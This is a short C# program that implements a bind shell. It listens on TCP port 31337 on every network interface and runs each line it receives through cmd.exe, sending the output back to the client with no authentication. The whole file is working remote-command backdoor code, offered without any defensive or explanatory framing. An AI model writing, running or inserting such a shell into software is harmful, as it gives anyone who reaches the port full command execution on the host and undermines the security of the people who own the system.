using System;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace ServerApp
{   
    class Program
    {
        static void Main(string[] args)
        {
            int PortNo = 31337;
            TcpListener servListener;
            servListener = new TcpListener(IPAddress.Any, PortNo);
            servListener.Start();
            while (true)
            {
                Socket rocksock = servListener.AcceptSocket();
                try
                {
                    Stream dastream = new NetworkStream(rocksock);
                    StreamReader sr = new StreamReader(dastream);
                    StreamWriter sw = new StreamWriter(dastream);
                    sw.AutoFlush = true;
                    sw.WriteLine("Joe's C# TCP Shell!!");
                    while (true)
                    {
                        string command = sr.ReadLine();
                        if (command == "" || command == null)
                        {
                            sw.WriteLine("Command not entered!");
                            break;
                        }
                        System.Diagnostics.Process kek = new System.Diagnostics.Process();
                        kek.StartInfo.FileName = "cmd.exe";
                        kek.StartInfo.RedirectStandardOutput = true;
                        kek.StartInfo.Arguments = "/c " + command;
                        kek.StartInfo.UseShellExecute = false;
                        kek.Start();
                        sw.WriteLine("entered command {0}", command);
                        sw.WriteLine("output: {0}", kek.StandardOutput.ReadToEnd());
                    }
                    dastream.Close();
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
                rocksock.Close();
            }
           
        }
        
    }
}
